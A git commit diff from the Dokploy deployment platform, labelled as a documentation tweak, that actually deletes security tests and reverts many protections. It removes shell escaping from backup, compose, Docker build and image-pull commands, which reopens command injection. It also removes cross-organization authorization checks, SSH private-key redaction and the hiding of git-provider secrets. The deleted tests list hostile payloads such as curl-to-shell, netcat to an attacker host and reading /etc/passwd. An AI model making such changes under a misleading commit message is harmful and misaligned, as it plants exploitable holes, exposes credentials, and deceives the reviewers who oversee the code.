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Author SHA1 Message Date
Mauricio Siu
556e1cf92d docs: trim block comment on assertGitProviderAccess 2026-07-19 21:37:21 -06:00
33 changed files with 56 additions and 665 deletions

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@@ -1,106 +0,0 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});

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@@ -1,103 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});

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@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});

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@@ -1,66 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});

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@@ -1,87 +0,0 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

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@@ -1,44 +0,0 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});

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@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});

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@@ -1932,7 +1932,8 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel>
<FormDescription>
Trigger the action when Docker cleanup is performed.
Trigger the action when Docker cleanup is
performed.
</FormDescription>
</div>
<FormControl>

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@@ -9,7 +9,6 @@ import {
getPublicIpWithFallback,
haveActiveServices,
IS_CLOUD,
redactServerSshKey,
removeDeploymentsByServerId,
serverAudit,
serverSetup,
@@ -106,7 +105,7 @@ export const serverRouter = createTRPCRouter({
});
}
return redactServerSshKey(server);
return server;
}),
getDefaultCommand: withPermission("server", "read")
.input(apiFindOneServer)
@@ -437,7 +436,7 @@ export const serverRouter = createTRPCRouter({
await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
}
return redactServerSshKey(currentServer);
return currentServer;
} catch (error) {
throw error;
}

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@@ -18,30 +18,12 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(),
}),
)
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
.query(async ({ input }) => {
return await getSwarmNodes(input.serverId);
}),
getNodeInfo: withPermission("server", "read")
.input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
.query(async ({ input }) => {
return await getNodeInfo(input.nodeId, input.serverId);
}),
getNodeApps: withPermission("server", "read")
@@ -50,16 +32,7 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(),
}),
)
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
.query(async ({ input }) => {
return getNodeApplications(input.serverId);
}),
getAppInfos: withPermission("server", "read")
@@ -81,16 +54,7 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(),
}),
)
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
.query(async ({ input }) => {
return await getApplicationInfo(input.appName, input.serverId);
}),
getContainerStats: withPermission("server", "read")

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@@ -102,24 +102,10 @@ export const findApplicationById = async (applicationId: string) => {
redirects: true,
security: true,
ports: true,
gitlab: {
columns: { secret: false, accessToken: false, refreshToken: false },
},
github: {
columns: {
githubClientSecret: false,
githubPrivateKey: false,
githubWebhookSecret: false,
},
},
bitbucket: { columns: { appPassword: false, apiToken: false } },
gitea: {
columns: {
clientSecret: false,
accessToken: false,
refreshToken: false,
},
},
gitlab: true,
github: true,
bitbucket: true,
gitea: true,
server: true,
previewDeployments: true,
registry: { columns: { password: false } },

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@@ -33,7 +33,6 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { encodeBase64 } from "../utils/docker/utils";
import { getDokployUrl } from "./admin";
@@ -473,7 +472,7 @@ export const startCompose = async (composeId: string) => {
const projectPath = join(COMPOSE_PATH, compose.appName, "code");
const path =
compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
if (compose.composeType === "docker-compose") {
if (compose.serverId) {
await execAsyncRemote(

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@@ -2,7 +2,6 @@ import {
execAsync,
execAsyncRemote,
} from "@dokploy/server/utils/process/execAsync";
import { quote } from "shell-quote";
export const getContainers = async (serverId?: string | null) => {
try {
@@ -520,7 +519,7 @@ export const getSwarmNodes = async (serverId?: string) => {
export const getNodeInfo = async (nodeId: string, serverId?: string) => {
try {
const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`;
const command = `docker node inspect ${nodeId} --format '{{json .}}'`;
let stdout = "";
let stderr = "";
if (serverId) {

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@@ -120,13 +120,9 @@ export const getAccessibleGitProviderIds = async (session: {
return result;
};
/**
* Authorizes read access to a specific git provider for the current session.
* Throws if the provider belongs to a different organization (cross-org IDOR)
* or if the caller is not entitled to it within the active organization.
* Must be called before returning any git-provider record that carries secrets
* (OAuth tokens, app private keys, webhook secrets).
*/
// Throws if the provider is in another organization (NOT_FOUND) or the caller
// is not entitled to it in the active org (FORBIDDEN). Call before returning any
// git-provider record that carries secrets.
export const assertGitProviderAccess = async (
session: { userId: string; activeOrganizationId: string },
provider: { gitProviderId: string; organizationId: string },

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@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -141,7 +140,7 @@ export const deployLibsql = async (
if (libsql.serverId) {
await execAsyncRemote(
libsql.serverId,
`docker pull ${quote([libsql.dockerImage])}`,
`docker pull ${libsql.dockerImage}`,
onData,
);
} else {

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@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -146,7 +145,7 @@ export const deployMariadb = async (
if (mariadb.serverId) {
await execAsyncRemote(
mariadb.serverId,
`docker pull ${quote([mariadb.dockerImage])}`,
`docker pull ${mariadb.dockerImage}`,
onData,
);
} else {

View File

@@ -12,7 +12,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -161,7 +160,7 @@ export const deployMongo = async (
if (mongo.serverId) {
await execAsyncRemote(
mongo.serverId,
`docker pull ${quote([mongo.dockerImage])}`,
`docker pull ${mongo.dockerImage}`,
onData,
);
} else {

View File

@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -144,7 +143,7 @@ export const deployMySql = async (
if (mysql.serverId) {
await execAsyncRemote(
mysql.serverId,
`docker pull ${quote([mysql.dockerImage])}`,
`docker pull ${mysql.dockerImage}`,
onData,
);
} else {

View File

@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -156,7 +155,7 @@ export const deployPostgres = async (
if (postgres.serverId) {
await execAsyncRemote(
postgres.serverId,
`docker pull ${quote([postgres.dockerImage])}`,
`docker pull ${postgres.dockerImage}`,
onData,
);
} else {

View File

@@ -10,7 +10,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -111,7 +110,7 @@ export const deployRedis = async (
if (redis.serverId) {
await execAsyncRemote(
redis.serverId,
`docker pull ${quote([redis.dockerImage])}`,
`docker pull ${redis.dockerImage}`,
onData,
);
} else {

View File

@@ -53,27 +53,6 @@ export const findServerById = async (serverId: string) => {
return currentServer;
};
/**
* Removes the SSH private key material from a server record before it is sent
* to a client. `findServerById` eagerly loads the `sshKey` relation (needed for
* server-side SSH operations), but the private key must never leave the server:
* no client feature consumes it, and returning it exposed it to any member with
* only `server:read`. Server-side callers keep using `findServerById` directly.
*/
export const redactServerSshKey = <
T extends { sshKey?: { privateKey: string } | null },
>(
serverRecord: T,
): T => {
if (!serverRecord.sshKey) {
return serverRecord;
}
return {
...serverRecord,
sshKey: { ...serverRecord.sshKey, privateKey: "" },
};
};
export const findServersByUserId = async (userId: string) => {
const orgs = await db.query.organization.findMany({
where: eq(organization.ownerId, userId),

View File

@@ -2,7 +2,6 @@ import { logger } from "@dokploy/server/lib/logger";
import type { BackupSchedule } from "@dokploy/server/services/backup";
import type { Destination } from "@dokploy/server/services/destination";
import { scheduledJobs, scheduleJob } from "node-schedule";
import { quote } from "shell-quote";
import { keepLatestNBackups } from ".";
import { runComposeBackup } from "./compose";
import { runLibsqlBackup } from "./libsql";
@@ -91,16 +90,11 @@ export const getS3Credentials = (destination: Destination) => {
return rcloneFlags;
};
// User-controlled values (database name, user, password) are passed to the
// container as environment variables via `docker exec -e VAR=<escaped>` and
// referenced as "$VAR" inside the inner shell, so they never appear in the
// inner command text. The -e value is escaped for the outer shell with
// shell-quote; the inner script is single-quoted and reads the env vars.
export const getPostgresBackupCommand = (
database: string,
databaseUser: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID bash -c 'set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER" --no-password "$DB_NAME" | gzip'`;
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${databaseUser} --no-password '${database}' | gzip"`;
};
export const getMariadbBackupCommand = (
@@ -108,14 +102,14 @@ export const getMariadbBackupCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mariadb-dump --user="$DB_USER" --password="$DB_PASS" --single-transaction --quick --databases "$DB_NAME" | gzip'`;
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mariadb-dump --user='${databaseUser}' --password='${databasePassword}' --single-transaction --quick --databases ${database} | gzip"`;
};
export const getMysqlBackupCommand = (
database: string,
databasePassword: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mysqldump --default-character-set=utf8mb4 -u root --password="$DB_PASS" --single-transaction --no-tablespaces --quick "$DB_NAME" | gzip'`;
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mysqldump --default-character-set=utf8mb4 -u 'root' --password='${databasePassword}' --single-transaction --no-tablespaces --quick '${database}' | gzip"`;
};
export const getMongoBackupCommand = (
@@ -123,11 +117,11 @@ export const getMongoBackupCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -d "$DB_NAME" -u "$DB_USER" -p "$DB_PASS" --archive --authenticationDatabase admin --gzip'`;
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mongodump -d '${database}' -u '${databaseUser}' -p '${databasePassword}' --archive --authenticationDatabase admin --gzip"`;
};
export const getLibsqlBackupCommand = (database: string) => {
return `docker exec -e DB_NAME=${quote([database])} -i $CONTAINER_ID sh -c 'tar cf - -C /var/lib/sqld "$DB_NAME" | gzip'`;
return `docker exec -i $CONTAINER_ID sh -c "tar cf - -C /var/lib/sqld ${database} | gzip"`;
};
export const getServiceContainerCommand = (appName: string) => {

View File

@@ -67,20 +67,9 @@ Compose Type: ${composeType} ✅`;
return bashCommand;
};
// Shell control characters that must never appear in a user-provided compose
// command: they would let it break out of the `docker ${command}` invocation
// into arbitrary host commands. A normal docker compose CLI line never needs them.
const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
const sanitizeCommand = (command: string) => {
const sanitizedCommand = command.trim();
if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
throw new Error(
"Invalid characters in compose command: shell control characters are not allowed",
);
}
const parts = sanitizedCommand.split(/\s+/);
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
@@ -99,9 +88,9 @@ export const createCommand = (compose: ComposeNested) => {
let command = "";
if (composeType === "docker-compose") {
command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;
} else if (composeType === "stack") {
command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;
}
return command;
@@ -135,8 +124,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
const encodedContent = encodeBase64(envFileContent);
return `
touch ${quote([envFilePath])};
echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
touch ${envFilePath};
echo "${encodedContent}" | base64 -d > "${envFilePath}";
`;
};

View File

@@ -85,9 +85,9 @@ export const getDockerCommand = (application: ApplicationNested) => {
}
command += `
echo ${quote([`Building ${appName}`])} ;
cd ${quote([dockerContextPath])} || {
echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
echo "Building ${appName}" ;
cd ${dockerContextPath} || {
echo "❌ The path ${dockerContextPath} does not exist" ;
exit 1;
}

View File

@@ -1,7 +1,6 @@
import path from "node:path";
import { getStaticCommand } from "@dokploy/server/utils/builders/static";
import { nanoid } from "nanoid";
import { quote } from "shell-quote";
import { prepareEnvironmentVariablesForShell } from "../docker/utils";
import { getBuildAppDirectory } from "../filesystem/directory";
import type { ApplicationNested } from ".";
@@ -53,10 +52,10 @@ export const getNixpacksCommand = (application: ApplicationNested) => {
bashCommand += `
docker create --name ${buildContainerId} ${appName}
mkdir -p ${quote([localPath])}
docker cp ${quote([`${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""}`])} ${quote([localPath])} || {
mkdir -p ${localPath}
docker cp ${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""} ${path.join(buildAppDirectory, publishDirectory)} || {
docker rm ${buildContainerId}
echo ${quote([`❌ Copying ${publishDirectory} to ${localPath} failed`])} ;
echo "❌ Copying ${publishDirectory} to ${path.join(buildAppDirectory, publishDirectory)} failed" ;
exit 1;
}
docker rm ${buildContainerId}

View File

@@ -11,7 +11,6 @@ import {
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import type { z } from "zod";
import { shellWord } from "./utils";
export type ApplicationWithBitbucket = InferResultType<
"applications",
@@ -125,8 +124,8 @@ export const cloneBitbucketRepository = async ({
const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
